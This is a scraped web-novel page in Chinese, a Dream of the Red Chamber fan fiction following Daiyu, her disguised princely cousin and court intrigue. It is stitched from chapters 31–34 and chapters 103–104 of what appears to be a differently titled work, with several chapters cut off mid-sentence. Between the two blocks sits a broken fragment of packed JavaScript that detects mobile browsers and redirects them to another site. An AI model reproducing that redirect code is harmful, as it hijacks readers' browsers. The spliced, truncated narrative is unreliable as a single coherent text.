正月十八,黛玉作别父亲,带着三个丫鬟,同贾琏、王君效、王表兄登楼船而去,原来贾府的两条船一条装了行李,一条装了医书。 黛玉知道晴雯得了王君效的青眼,成了神医弟子。替她高兴之余,又担心她基础不足,亲自搜罗了江南世面上知名的医书药典,装满了一船的古今医藏。 南风迅疾,楼船驰行如飞,堪比进鲜船,不过二十余日就到长安地界,京城在望。 思及长安节度使云光,与贾府素来交好,贾琏已经迫不及待要下船拜会。一来解解连日饥馋,二来也见见世面风光。 因这日是花朝节,也是黛玉生日,在众丫鬟的撺掇下,黛玉也簪花靓妆登岸游玩,到长安县街市上逛逛,王表兄自然倾身相陪。 长安县离京城不远,又因临河靠港,市集上多有西洋玩器,黛玉想找些新鲜有趣的玩意,买回去给宝玉及诸姊妹们赏玩。 禛钰见惯了这些东西,又熟悉个中差价,倒是将那些漫天要价的奸商怼了个遍,害她的小表妹一件好物都没能收到手。 恰时在一家装潢奢豪的钟表店里,禛钰在一个玻璃龛中,发现了一块珐琅珍珠怀表,与黛玉手中那枚一模一样。 他当即花钱买了下来,又另出工钱,让店家将表盘上的海西国数字改成十二地支时辰,再在按他给的图样嵌画上去,约定下午来取。 当禛钰走出店门,却发现街道上人潮涌动,比肩接踵,黛玉和四个丫鬟被抬花神的队伍给挤散了,正一脸焦急地喊着丫鬟的名字。 禛钰拔腿追上去,谁知黛玉被一个身材魁梧,笑容狡黠的纨绔给拦住了。 纨绔眯着眼儿,凑过来说:“好标致的小美人,好生鲜嫩的咧。小爷我看上你了,不巧我正要与张大财主家的女儿放定,也只能委屈你做二房了。” “哪儿来的臭男人,大庭广众之下就发桃花癫。”黛玉恼羞成怒,横眉就骂。 那纨绔身后还有七八个披红挂彩、肩箱提担的豪奴。说是去定亲,那群人凶神恶煞的模样,倒像是去抢亲的。 他们将黛玉围住,七嘴八舌地威胁:“这位是长安府府太爷的小舅子李衙内。小姑娘别不识抬举,跟着我们爷吃香的喝辣的,自有你的福气。” 黛玉气得浑身一震,头上的挂珠钗也禁不住摇晃了起来。 “什么福气?”永龄仗着身量小,从人堆里挤出来,挡在黛玉身前,冷笑道:“屎壳郎滚粪,猪刚鬣吃糠,都是你的福气!” “好个牙尖嘴利的小丫头!”李衙内被一个小婢当街骂了个狗血喷头,脸上下不来,揎拳掳袖地就要往她脸上招呼。 “永龄!”黛玉将她拉开,避开了一记耳光。 李衙内一击不中,越发恼恨,吹胡子瞪眼,骂骂咧咧。 禛钰纵身提气,一个借水登舟,踏着两个豪奴的肩膀,将李衙内踹倒在地,抄起路旁农人的钉耙,就朝他脸上招呼,只把他半张脸划拉出九条血沟,惨叫连连。 几个豪奴抢上来救人,禛钰偏不退让,与他们缠斗起来,用钉耙将李衙内求亲的漆红彩礼箱一一撬开,散尽财物,大喊:“见者有份!”引来路人哄抢不休。 禛钰趁机又将李衙内踢了个骨错筋分,撂到路边任人踩踏。豪奴渐落下风,见势不妙,赶紧搬救兵去了。 这时,紫鹃、晴雯、 32.春绾晴黛第三十二回 《[红楼]春绾晴黛》全本免费阅读 林黛玉喜赠玉连环,王表哥偷转藤缠枝 贾琏一目十行看完了,便知这事八成是二太太的手笔,可二太太如今再不管闲的了。莫非是凤姐被外人挑唆,也干了这坑家败业的事。 他面色不虞,再无喝酒的兴致,忽听云光府上的小厮飞报:“老爷,高知府捅死小舅子后刎颈了!阖府闭门,不准人去吊问。” 贾琏与云光二人俱是一惊,双双站起,碰倒了酒杯碗盏,残羹冷酒流了一桌。 “怎么回事?” 小厮道:“听说他们郎舅两个,在街头得罪了王正堂的亲戚,怕得要死,回去就自戕了。” 贾琏脑海中闪过王公子倨傲不羁的身影,骇然大惊,连忙拱手告辞。 那小子他怎么敢!且不说李衙内是府衙亲卫官,那高世龙可是长安知府从四品朝廷大员。王君效再能耐,也不过是个医官! 贾琏从云光府上匆忙出来,见昭儿牵马迎上,笑嘻嘻地说:“爷,咱们是去天都书寓,还是金城行院?” “去什么去!囚攮的杂种!”贾琏没好气地啐了他一口,扳鞍上马,扬鞭去了。 昭儿忙爬上马,在后头边追边说:“方才王正堂打发人来说,他和林姑娘、王公子去张财主家赴宴了。林姑娘说既有筵席,晚上也不必给她单做生日了。” “什么?”贾琏连忙勒住马,回头问昭儿:“哪个张财主?他们怎么认识的?” 昭儿挽了缰绳,回话说:“王正堂在街上闲逛的时候,得知张家的闺女被李衙内逼婚,前夫守备之子无奈退聘,张小姐气不过用一条麻绳吊死了。王正堂冲进去将张小姐给救活了。 谁知守备之子去而复返,说那李衙内得罪了王正堂家的公子,被他姐夫一刀捅死了。这下再无人逼迫他们这对苦命鸳鸯了。 张家见女儿已经死过一回,李衙内聘礼未至人也没了,只好同意女儿与守备之子的婚期照旧。今日晌午特请恩公吃酒。” 贾琏听了这一波三折、惊心动魄的故事,不由抹了一把脸,惊出一身冷汗。 万一李衙内没碰上王公子,张小姐没遇到王正堂。他们贾家岂不是要背上一条人命! 幸亏王公子是个胆大的,扯虎皮拉大旗,借太医王君效之名,把李衙内和高知府给震住了。如此,他才能一身轻松地抬屁股走人。 等明儿回到荣国府,得赶紧跟那泼猴凤奶奶念念紧箍咒,这样要命的事,以后可千万沾不得!他家可没有王君效这么硬的铁靠山。 长安县内,张宅是一间三进的四合院,占地不大,内里的花园倒是颇为豪奢,装陈摆件琳琅满目,颇有几分临潼斗宝的意味。 禛钰哪里想在这里吃席,不过是看在商贾之家不大讲究,辟了个雅间,开了两张席,将王君效特设一席,又把他们表兄妹及四个丫鬟排在了另一张席上。若是按贾琏安排的生日宴,只怕他还需向林表妹隔门敬寿酒了。 “表妹,今天是你的生日,春云蕴瑞,宝婺腾辉。表兄借花献佛,祝你长乐永康,寿比金仙。”禛钰提起一杯葡萄酒,望着她一饮而尽。 “多谢表兄了!”黛玉举杯致意,微微抿了一口。她杯中是新鲜的葡萄浆,并非酿造的葡萄酒,只是果汁罢了。 此时的葡萄不应季,因此味道颇有些酸涩,她不爱喝。禛钰注意到,又亲手剥了枇杷送到她碟中。 晴雯冲他翻了个白眼,这个王公子的一双眼睛,恨不能缝在林姑娘身上,真是太讨厌了。 紫鹃、雪雁、永龄、晴雯四人互望一眼,一并站起,共同举杯为林姑娘祝寿,“祝林姑娘年年有今日,岁岁有今朝。福如东海,寿比南山!”又各自献上自己的贺礼给黛玉。 雪雁送的是一个鹤鹿同春的香囊。紫鹃送的是一套红玻璃粉彩七妆盒。晴雯送的是一张双面三异绣的牡丹芙蓉手帕。永龄送的是一匣子描金带彩的什锦梳具,还特意解释说:“这是我们公子帮忙选的礼物。” “你们有心了,多谢了。”黛玉起身福礼。 四个丫鬟又齐齐下跪,给黛玉磕头拜寿。 黛玉忙将她都拉起来,一一送回座去,“今日我们沾人家的光,不分主仆上下,闲乐一回便好了。” 按习俗长辈是不能向晚辈祝寿的,王君效也就只劝黛玉多吃菜。 席间,张母还抱着酒壶,带着张金哥进来拜谢恩公。 黛玉见张金哥年方及笄,生得花容月貌,礼数款段俱佳,不像是商贾出身,倒像是书香门第的小姐。怪道她能与前太守之家结亲,又被李衙内一眼相中,要抢她来做媳妇。 王君效坦然受了张金哥一拜,又劝勉她人命至重,不可轻忽,以后再不可生此拙志。 张金哥含泪答应了,又被张母带上前来,拜谢王公子。 张母又命她给王君效及王公子斟酒。张金哥各斟了一杯酒,敬谢恩公。 见王君效与王公子都爽快喝了,张母破涕为笑,小意殷勤地劝酒布菜,又说:“救命之恩,情同再造,老妇想款留二位王大人,在寒舍多住几天,好生招待致谢,不知可纳芹意否?” 王君效道:“老夫还要回京复命,实不能久待。” 张母颇感遗憾,又对禛钰说:“想必王公子年轻,尚无公务在身,何不在此地多游玩几日?” “家父催我回京,亦不好耽搁。”禛钰自然婉拒。 张母不肯放弃,转而又挑起别的话来讲:“王公子龙驹凤雏一表人才,想必是高门淑媛瞻望的贵婿,老妇想着公子也到了该寻亲事的年岁,不知王府可有为公子择定人选?” 禛钰面无表情地看了王君效一眼,王君效道:“这事自有他父祖操心,旁人皆插不上嘴。” 张母讪讪一笑,明知自己说话造次,可这么大一只金龟婿掉在眼前,她哪有不赶上来巴结的。 情知他们张家为了攀附长安府府太爷,跟李衙内结亲,已经白扔了三千两银子给贾府琏二奶奶。 如今天降贵人,竟把府太爷和李衙内活活吓死了,李家鸡飞蛋打,好在他们家捡回了女儿一条命,还能待价而沽。剩下个守备之子固然不错,可守备已经丢官了,一个原守备之子,无官无职,还顶个屁用。 这王公子就不同了,一表人才不说,还有个好祖宗是天子近臣,将来前途不可限量。 枕前衾内自生情,大不了生米煮成熟饭,越是大族人家越爱脸面,只要把王公子和金哥,鸳鸯凑对抱被同宿,抖落出来比圣旨还硬。 晴雯心头咯噔一跳,张母竟是个撮合男女私情的马八六,怪不得一家女两家许,为了攀龙附凤,将女儿的脸面性命都弃之不顾,这中间还牵涉到了凤姐! “虽说父母之命媒妁之言,到底也是姻缘天定。”张母陪笑搭话,见人家态度生硬,对张金哥不假辞色,思来想去,还是悄然拨弄了阴阳壶的机关。“两位恩公,来再饮一杯吧。” 晴雯想起上次打草惊蛇的错误,连忙上前将王公子的酒杯盖住,笑道:“我们公子不胜酒力,还是免了吧。” “才多吃 33.春绾晴黛第三十三回 《[红楼]春绾晴黛》全本免费阅读 痴黛玉解误生死错,憨湘云初识主仆情 一入京城宁荣街,王君效与禛钰就同贾琏一行人道了别,贾琏再三款留不住,只得带林妹妹先回了荣国府。 王君效回宫复命,禛钰还需在京中私邸与押运库银的章明及严必显汇合。 为了将一千六百万两税银顺利运抵京城,严必显装扮成船队老大,携夫人上京给岳母祝寿。十几艘船上积筐满箧,装的都是南省土仪,尽显庸俗豪阔。 虽不免有水匪荡寇觊觎,但严老大的船队武备精良,刀斧手众多,让众贼望洋兴叹,不敢下手。船队冲州过府,难免要受地方官员稽查勒掯,严老大随机应变,或行小贿或假虎威,竟也顺利通关。 二月十七日,税银运抵京城。章明安排严必显夫妇在自己私邸住下,与被营救出来的甄英莲相认。 禛钰将银钱清点归国库,入宫面圣,陈奏江南漕运、盐课之弊。 此前,历年盐税亏空的四柱清册也已经摆在了宣隆帝的龙案上,太子杀伐果断肃清官场,又追缴欠银及时。对长子的精明能干欣赏之余,又难免更添几分忌惮。他伸手敲了敲面前的账册:“一千六百万两,还只有岁入的半数。” 禛钰道:“如今还是杏月,离端阳节还早着呢。儿臣向父皇保证,届时必将填满国库。” 宣隆帝拈须一笑:“可记得你的大话,完不成,是要挨板子的。” 他看向座下芝兰玉树的少年,神采英拔,锋芒初露,又生慈父之心,转而道:“吾儿又长高许多,而今你已是舞象之龄,也该采择妃嫔了。春三月北静王娶妃,接下来也该论到你了。” “父皇亦知,如今后宫两代妃嫔,饮食起居、脂粉薪炭多支靡费。倘若东宫再进妃嫔,岂不又是空耗国帑。选秀之事,还是等二三年再拟议不迟。” 禛钰早将腹稿打好,专攻父皇的软肋。想用婚事掣肘他,也要看父皇舍不舍得掏银子。 提到花钱的事,宣隆帝就蹙起了眉头,他缺银子使,还能盼着自己亲娘老子及一堆庶母早死不成。 “前两年我就打算给华光挑伴读,礼部送了名单过来,我一直忘了。你既不想选妃,那就帮你妹妹选几个陪侍伴读的姑娘吧。”宣隆帝立刻想到了明修栈道暗度陈仓的法子。 给公主选伴读,几乎不花钱,相反还有不少簪缨世族之家,为女儿能有个好名声,找门路大行贿赂,以求进宫做伴读的。 “借此,你也可领略世宦贵女的风采,若有心仪的女子,大可先收用,等太子妃嫁进东宫,再赐名分。”宣隆帝打得一手细算盘,看向无动于衷的太子,意味深长地说:“钰儿也别整天劳心劳力,替朕燮理阴阳,却连个人事也不知。” 禛钰大感头痛,立刻又长篇大套地讲起皇陵地宫亟待修缮度支一四十万两、边军欠饷一百二十万两、两淮大旱粮患未解,需增九十万石救济粮。 只把宣隆帝说得头晕脑胀,无事能决,才放他告退出来。 出了龙景殿,禛钰远远瞧见贾政母子二人侯在阶下等待谒见,想是为陛下赐医下江南以及贾敏获封护国夫人的事,特意进宫谢恩的。 禛钰从偏殿绕行离去,回到东宫问章明:“她怎么没来谢恩?” “他?”章明愣了片刻,忽见太子冷眸扫过,立刻回过味来,她指的是寓居在贾府的林姑娘。 “属下这就去查。”章明立马板正了身体,转身离去。 “太子哥哥,我巴巴地等你回来,你也不理我一理,只想着使唤章明查这个查那个。” 只听一语娇嗔,来人杏脸桃腮,憨态可掬,她头戴珠翠冠,一身真红织金云霞凤纹裙,腰间玉花采结绶,正是禛钰嫡亲的妹妹华光公主。 禛钰笑道:“聂儿,我从江南带回了好些精巧玩意,正打算给妹妹送去呢。” “真的?什么好东西?”华光公主眼眸一亮,牵起裙子跑上来。 “都堆在偏殿里,聂儿自己去挑。”禛钰向里头努嘴道。 “那我要挑最好的那个!”华光公主忙将哥哥撇下,往那边去了。 禛钰笑着摇头,同样的年纪,她妹妹还一团孩子气,满脑子不是吃喝玩乐,就是衣裙首饰。而林绛珠却像个小大人,贞静婉嫚,风流蕴藉,已经初显女子的魅力了。 章明回来,见太子低头摩挲着尾戒,眉眼含笑,像是陷入了什么甜蜜的回忆中,等了半晌,不见他回神。只好干咳了一声,“太子殿下,属下查明白了。” 禛钰抬起头来,嘴角的笑意还没压下去,就听章明回禀说:“殿下,林姑娘病了。” “快叫王君效去看看。”禛钰脸上的笑意荡然无存,皱眉道:“她怎么就病了?” “王正堂怕是去不成了,等他看病的皇亲国戚,都从太医院排到宣武门了。” 禛钰一边往外走,一边吩咐:“那叫王济仁去。” “殿下,”章明心虚,摸了摸鼻子,说:“林姑娘以为甄英莲死了,伤心过度,这才病倒的。” 禛钰顿住,反问:“甄英莲不是在私邸,已经跟封娘子相认了?” “是啊,可是林姑娘还不知道呢。”章明立刻伏地认错:“是属下疏忽,未能及时告知林姑娘。那薛家为了掩丑,假称花了五千两银子将薛蟠赎回,香菱却被汤圆噎死了。林姑娘一回贾府,以为甄姑娘夭折,哭得眼睛都肿了,情志抑郁之下就病倒了。” “她的眼泪就那么不值钱?” 禛钰也不知自己一腔怒气从何处来,原地转了两圈,抚着额头说:“叫王济仁过来,我写封信让他捎过去。” 荣国府贾母院西厢,黛玉病恹恹地靠在大引枕上,嘴里木然吞着药汤,眼角的泪干了又湿。 “好姑娘,逝者已矣,还请节哀。”紫鹃一边劝着,一边拿绢子为黛玉擦嘴。 黛玉哽咽道:“我与香菱有半师之谊,又与她母亲承诺过,偏偏阴差阳错,失信于人,教我如何不痛,如何不悔。” 晴雯又急又气,在屋中团团转,恨声道:“都是王公子不靠谱,当初信誓旦旦地说包在他身上,结果人没及时救回来,还讹五千两银子跑没影儿了。” “别说了!”紫鹃忙起身捂住晴雯的嘴,告诫她道:“这府里隔墙有耳,别什么话都瞎嚷嚷。” 晴雯咬牙切齿,只得干瞪眼,这时候外头婆子通禀,“王太医来了!” 晴雯还以为是王君效,连忙起身相迎,却被紫鹃拉去耳房回避了。王嬷嬷放下幔帐后,请王济仁进来。 王济仁坐在小杌子上给林姑娘号脉,偏头对王嬷嬷说:“姑娘喉中有痰,需要漱口,请嬷嬷端杯温水并痰盂过来。” “好。”王嬷嬷答应着去了。 王济仁赶紧把太子叠成方胜的信,塞进了林姑娘手中,轻声道:“这是医病的良方,姑娘独自看罢。” 王嬷嬷端来痰盂,伺候黛玉漱了口。 王济仁起身道:“无甚大碍,药也不必吃了,若能出门散散心,过两日就大好了。” “多谢太医了。”王嬷嬷恭敬地将王太医送 34.春绾晴黛第三十四回 《[红楼]春绾晴黛》全本免费阅读 小公主祈雨龙王庙,林黛玉还愿见平安 黛玉见史湘云气闷,心知她已解悟了几分,便把话题抛过,谈起在江南的见闻来。宝玉听到张金哥曲折离奇的故事,大略不出才子佳人悲欢离合的俗套,可是黛玉讲得词藻优美,情节生动,非常引人入胜。 故事中难免提及她新认的那位王表兄,湘云赞赏不已:“这位王公子真豪侠名士也。” 宝玉满目倾羡,搓手笑道:“我曾听琏二哥说,你家的从表兄俊秀出尘,是个狷狂不羁的人,文武双全,风流潇洒,不为庸俗礼法所拘。我屡思相见,可惜无缘得会。还望日后妹妹引荐引荐。” 黛玉怔了半晌,缓缓摇头,只说:“我与他不熟,无由引荐。” 宝玉大叹可惜。 这时候外人有丫鬟通禀:“琏二奶奶来了!” 平儿扶着凤姐,掀帘进来,笑道:“林妹妹,宫里传出旨意来,说是两淮大旱,华光公主将于二月二十五花朝节在龙王庙祈雨,凡京中有花朝节生日钗龄以上童女,皆须礼部报名参加。” 祈雨虽说辛苦,但有机会面见公主,时人引为荣耀,宝玉、湘云纷纷起身向黛玉道喜。 南方春早,以二月十二为花朝。北方春晚,以二月二十五为花朝。花神、童女、天雨,皆为纯阴之象,藉此诚心祈雨,以求天人感应,为江南普降甘霖,缓解旱情。 史湘云笑道:“听我婶婶说华光公主要选伴读了,宝姐姐已经亲名达部,以她的才学品貌,将来定能入选。” 凤姐也不搭湘云的话,只向黛玉招手:“林丫头快跟我来,老祖宗有话嘱咐你。” “两位稍坐,恕我失陪了。”黛玉随凤姐、平儿往贾母屋中走去。 此时的凤姐已经显怀,约莫七月底就要生了。 黛玉笑道:“琏二嫂身子沉重要多休息,若有什么我能帮得上忙的,只管吩咐我。” “姑娘既这么说,我可有好些事要烦你。核销去岁旧账、度支今年新账是一宗,上皇千秋节礼又是一宗,还有北静王娶亲……”凤姐扳着指头数个没完。 “人家不过客套两句,你到真使唤起人来了。”黛玉娇嗔道,心知凤姐在与她玩笑。 这些大事凤姐要跟老太太商量裁度,她一个外人插不上手。 凤姐拍着她的胳膊道:“等你做了我们家的媳妇,还不是你劳心,我不过先嘱咐你一声罢了。” 黛玉羞红了脸,举袖遮面扭头要走。 平儿忙将她拉回来:“老太太还等着呢。” 皇城东宫,禛钰正在案前筹划花朝节祈雨的各项事宜,忽闻宫人通禀:圣寿上皇驾到。 禛钰心知皇爷爷无事不登三宝殿,连忙搁下笔,将他老人家迎了进来。 圣寿上皇张口就是:“我竟不知孙儿有这样的度量,为仇人表功赐封。护国夫人,她也配?” “贾夫人毁家纾难救世济民,名不虚得。”禛钰将贾敏赈济灾民的事详细道来,得到的只有上皇一声轻蔑的嘲笑。 “说得好听,贾敏的嫁妆还不是我当年赐给贾家的东西。”圣寿上皇双眸隐怒,掷给禛钰一簿秘册:“你自己瞧。” 禛钰疑惑地翻开一看,竟是内庭燕亵彤史。 密密麻麻的日期后面,重复最多的一行字赫然是:帝幸贾夫人。 禛钰瞳孔骤然变大,胸口起起伏伏,似有烈火腾起,耳蜗嗡响犹胜剑鸣不休。 贾夫人欲贬国丈,帝笑言:黜陟生杀悉听卿意。 贾夫人主战滇南,帝应许。 贾夫人讽皇后徽号莫若“孝敏”,帝悦纳之。 贾夫人怀嗣,劝诱帝徙太子入道观,帝依允。 贾夫人失胎,帝大恸强幸皇后。 皇后诞公主,帝幸贾夫人。 所以,他的妹妹小名聂儿,皆因她得身命,全凭一夕孽情…… “你母亲就是这样被贾敏逼疯的。”圣寿上皇眉峰深皱,长叹了一声,“贾敏有武媚之志,生杀予夺令出枕畔。你皇爷爷叫柳氏做的,不过是以其人之道,还治其人之身罢了。” 禛钰腮骨紧绷,眸色阴沉,手指几乎不曾将那彤史捏碎,咚咚的心跳声好似万马奔腾。愤怒的火焰,层层席卷将他心中的旧痛,一遍遍无情地灼烧。 “傻孩子,”圣寿上皇抚了抚禛钰的头,以示安抚:“贾敏只给林海生了一个女儿,你也不想想,她的儿子并没中枯人草,为何也被林海烧成了灰?林海丧子亡妻看似凄苦,未尝不是一种解脱。” “难不成……”禛钰猛地抬头,蓦然捂住了嘴,他素来喜怒不形于色的脸,渐渐有了崩溃之象。 “那孩子跟你爹一个稿子。我若不除掉他,今日做太子的,未必是你啊。” 花朝节南北共有三个日子,在满京城符合条件的钗龄以上童女,只有百余人。 二月二十五日,天朗气清,万里无云。 龙王庙前后山门都被羽林卫围守,等待进庙祈福的少女,除了随身衣物手帕及银钱,其余东西都不得携带进庙门。 临行前,贾母给了黛玉几张银票及一荷包的金锞子,以备不时之需。 少女们列队由坤道引领,拜过御笔亲题的碑亭,经过卷棚抱厦,依次走进面阔三间的龙王殿,三叩九拜龙王、龙母的彩塑雕像。 华光公主头戴莲花冠,身着法衣鹤氅,于祭坛前拈香下拜,宣读祈雨祭文,而后升文上表,祈请龙王、龙母消灾解难,普降甘霖。 鼓乐钟磬声飘天外,众女也依照坤道的念唱指引,同声唱诵神咒祈雨。 正殿前的空地上有十二名巫女身披五彩羽衣,揽风舞雩,奈何跳了三刻钟片雨不下。 华光公主走到功德箱前,将一叠银票投了进去,对诸位少女说:“纵天不雨,本宫愿献三年食邑租税为江淮赈款,劝诸姊妹尽济世利民之道,救灾恤难,慨捐余财,集资助赈。” 话音刚落,黛玉第一个上前,朗声道:“臣女随输善愿,移助赈捐。”她将贾母给的银票,全部投进了功德箱中。 华光公主颇为赞许地点点头,又亲切地问过她年岁、父职等语,黛玉一一答了。 黛玉见机而作,得了头彩,引来了众人羡慕的目光,有了第一带头的,其余姑娘也依次上前捐款,踊跃输助。 华光公主也不吝赞美之词,对每一个人都给予了关怀与勉励,众人都激动不已,跪下来山呼公主千岁。 忽然狂风大作,飞沙走石,不一会儿天空中乌云密布,轰雷掣电,大雨倾盆而下。 华光公主莞尔一笑,太子哥哥诚不欺我。虽说这雨润不到两淮去,可祈雨成功本就是一种时来运转,有求必应的好兆头。更何况她带头筹钱才是此行的真目的。 果真下雨了!众女在感奋欢欣之意,又不免忧心,没带伞怎么办?连日晴好无风,谁料今日真的祈雨成功了。 华光公主再度焚香还愿,众女也跟着她三叩九拜,敬谢龙王赐雨。 仪式结束后,华光公主去了三进殿的燕息处,众女则列队依次出殿。 穿过卷棚抱厦,前方就无遮雨之处了,及到下山门亲眷车马等候处,还有二里路要步行,没伞不行。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12870675|127102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辰后,你再弄醒他。” 黛玉取走了水溶身上的玉牌,让夏守忠去了诏狱,将被关锁在里面的几位大臣都放了出来,又将龙景殿偏殿的太医给放了出来。 一群人来不及休整仪容,浩浩荡荡往龙景殿去了,探春也扶着华光公主赶来,直面顶盔掼甲的侍卫,表示一定要见到宣隆帝不可。 众侍卫面面相觑,不知进退。 这时候安昌郡王王子腾骑马过来,声色俱厉地叫嚣:“你们这些奸恶佞臣竟敢越狱私逃,怂恿公主寻衅滋事,搅扰陛下养病,罪大恶极!来人呐,将这些人都绑了!” 谁知那些侍卫才要动手,就见滇南王的仪仗兵,围拢过来,徒手握在了侍卫的刀柄上,以止事端。 滇南王沐昭宁好整以暇地走过来,对王子腾说:“我滇南子民因礼圣兴学,感佩孝贤忠义文化,才齐心归附中原。我辈感沐皇恩,改为沐姓,甘为西南之屏藩。而今你一介纠纠武夫,刻薄寡恩,枉顾纲常,凭什么阻拦女儿探望父亲,太医诊视病人,臣子拜见君主! 倘若你再三阻拦,我当即命滇南千万黎庶日夜唾骂尔等篡权国贼,若不固守孝本,黔州百万雄兵即刻拔营北上,肃宫廷以清君侧。” 探春听着他一腔激昂陈词,感佩这位威震遐荒的滇南王,竟是这样有勇有谋的少年人。 王子腾本就是不喜读书的纨绔子弟,智量不及从小辩经的沐昭宁,再加之那些长于雄辩的老臣声援助威,他渐渐招架不住。 只得狡辩道:“并非我不肯让你们去见陛下,只是陛下所患之疾为巫病,需道士念经诵咒才能治好,亲熟之人靠近,只会徒增心魔,不利龙体恢复。” 这时候,黛玉走上前来,直面王子腾道:“安昌郡王,陛下久病不治,你难道不曾怀疑,那些给陛下念经诵咒的道士是假的吗?” 王子腾睨了她一眼,皱眉道:“这不与林小姐相干,没你说话的份儿。” 黛玉笑道:“贾贵妃召我入宫来,就是为了揪出那些滥竽充数的道士,以免陛下被邪魔侵害,耽误了病情。” “我竟不知林姑娘还生了一双火眼金睛,还能辨真伪。”王子腾讽刺道。 黛玉有备而来,谈笑自若地说:“罗天大醮时,我受高功道长点化,记忆突飞猛进,道藏三洞经书悉数能默,还请殿内道众出来,与我一一考较,方知谁真谁假。” 王子腾哪能让她拆穿那些道士都是摄政王的私兵,十分不满地说:“道友皆在施法做功,谁同你背道书呢。” 林海为女儿声援道:“一无科仪坛场,二无道乐香烛,施的什么法?做的什么功?安昌伪王还在推阻什么,莫非请来的都是假道士不成!” 众臣也纷纷申讨助阵,慷慨呼号,群情激奋下,只把王子腾说得哑口无言,节节败退。只得把那班道士叫出来,与黛玉比背道书。 背不下来的就是祸国殃民的邪佞,结果五百道士无一人能囫囵背出一段道书来。 滇南王当即下令,让仪仗兵将这些人给扭送出宫羁押起来,又请了清虚观的一班道士来,代替了那五百道众。 黛玉拉着华光公主趁机抢入龙景殿中,大太监戴权正要阻拦,又被探春与永龄两个缠住,不得靠近。 华光公主终于得见久违的父皇,然而床上的宣隆帝昏迷不醒,无知无觉,除了一点微弱的呼吸,简直如死了一般。 黛玉四下留心窥看,竟未发现晴雯的身影,就连太医院王正堂既不在太医之中,也不在殿内。 这时候华光公主的抽吸声传来。 “他不是我父皇,他只是替身!” 104.吾皇黛玉第一百零四回 龙景殿林海夺相权,长林园黛玉逐乡君 黛玉闻言脸色骤变,当机立断,对华光公主说:“公主请勿声张,维持现状,先出去再说。” 华光公主点了点头,离开了龙景殿,面对一干想要进门大臣和太医说:“父皇龙体欠安,疑似被外邪侵害,的确不便俗人打扰,还望诸位臣工回归本部,恪尽职守,常备不懈。” 众臣面面相觑,犹豫不决。 林海越众而出,身姿傲立,对他们说:“诸位同僚稍安勿躁,陛下病重、太子南征、上皇失语,正需我等勠力同心,共克时艰。 上皇当政之初,曾执行过夹签条旨制。由内阁大学士在纸条上写下对奏疏的处理意见,以备上皇决策参考。而今上皇虽能行走,但昏聩失智,口不能言。 摄政王篡权监国至今,处事偏颇,滥赏滥罚,大家有目共睹,与其指望他一人秉国害政,不如我等循例照章承办,祀戎大事则传书南下,由储君代批。 君逸于上,臣劳于下,法乎天也。①也是事权所在,不得已为之。待陛下圣体隆安后,若追责殃咎,林海愿一人承担,上天鉴临,绝无怨悔。还请诸位以国事为重,朝乾夕惕,忠于阙职,以报天恩。” 被摄政王囚入诏狱的臣工,本就多为纯臣及东宫之属,听到林海这样说,当即闻风响应,声势之大,只把王子腾逼得铩羽而归,连忙找水溶商量对策去了。 黛玉见父亲立场坚定,无畏刀剑,敢于顶着巨大的压力,用侃侃豪言,分明道理,力挫水溶专断独裁之威。 她内心激动不已,对父亲不胜钦仰之至。只是宣隆帝失踪的事,为这场夺权之争又添了许多变数。 黛玉取出袖中的珐琅珍珠怀表,在藤缠树的嵌画中,指针定向申时。摄政王水溶即刻就会醒来,想他也没脸让人知道变成太监的事。与其出宫躲避,不如迎头痛击。 在安昌郡王的施救下,痛晕过去的水溶才苏醒过来,一瞅下半截,两眼发黑,几不曾再晕过去,眼泪漫出了眼眶,恨得筋爆脸红,咬牙切齿。 王子腾表情扭曲至极,摔手恨道:“堂堂摄政王,被林海三言两语架空了权力,又被他闺女干净利落弄丢了下筋,没造化的奴才命,眼见离龙椅就差一步之遥了,硬是没卵·子坐上去。” 水溶含泪捶榻道:“你快去把林家父女给我绑来,我要他们求生不能,求死不能!” 恰时,黛玉带着一群太医来到了翠玲珑,对他们说:“摄政王有疾,痛不能抑,请诸位诊脉开方。” 水溶遮掩不及,那惨痛的模样早被太医们看在眼中。 那群太医被摄政王软禁多日,担惊受怕,无法与家人团聚,哪有不气的。 冷眼掂掇两下,就知他“大势已去”,一窝蜂进来,把王子腾挤到一边,围着水溶一个个轮流拿脉,又一个个言辞犀利,阴阳怪气,只把水溶的肺给气炸了。 “阳衰不举,不中用了……” “绣球都烧糊了,索性割了。” “外肾废绝,恭喜摄政王以后身心清净。” “你的嘴也太毒了,该说节哀顺变才是!” 水溶已经气得七窍生烟,两眼翻白,偏生黛玉还冒头出来,佯装憨态地问:“太医们说的病症,我竟一句也听不懂。” “林小姐,这可不是什么好话,听不懂才对呢!” 水溶见那姑娘眉眼长得颇似黛玉,只是身形更高,装束大异。又听人说她姓林,心中大疑,勾起头忙问:“你是谁?” 黛玉笑道:“臣女林氏,经表姐贾贵妃传召见入宫陪伴,臣女才来就发现摄政王晕倒在此,忙喊太医过来诊视!” 水溶大惊失色,那方才与他做戏的女子又是谁呢!他心念电转,方知上了大当!他被人害了,竟无法指证真凶! 黛玉转头对众太医说:“诸位供奉都瞧见了吧,摄政王不认得我,若将来有什么流言蜚语,还请大家帮忙澄清。” 众人笑着答应了。 林海与女儿汇合后,知道水溶已不足为虑,围绕在摄政王身边的势力,很快会土崩瓦解。 眼下林海还要回到朝堂与诸位王公大臣商议国事。而黛玉则在宫中找寻真的宣隆帝在哪里。 黛玉进入华光公主的鸣鸾宫中,以发现宣隆帝不见的时辰起卦,卜算了一番。 对华光公主说:“死门乾金不克年命,临杜门、临符值,说明陛下无性命之忧,略有刑伤,得贵人帮助,杜门在兑逢空,则看对宫,陛下藏身在震位,即东宫。” 华光公主思忖了半晌,摇头道:“我太子哥哥的东宫设了许多禁制,等闲人是进不去的。误入其中还会触碰到许多机关。” 黛玉道:“我师从父亲,颇通术数,不如让我去试试。” “也好。”华光公主点头道。 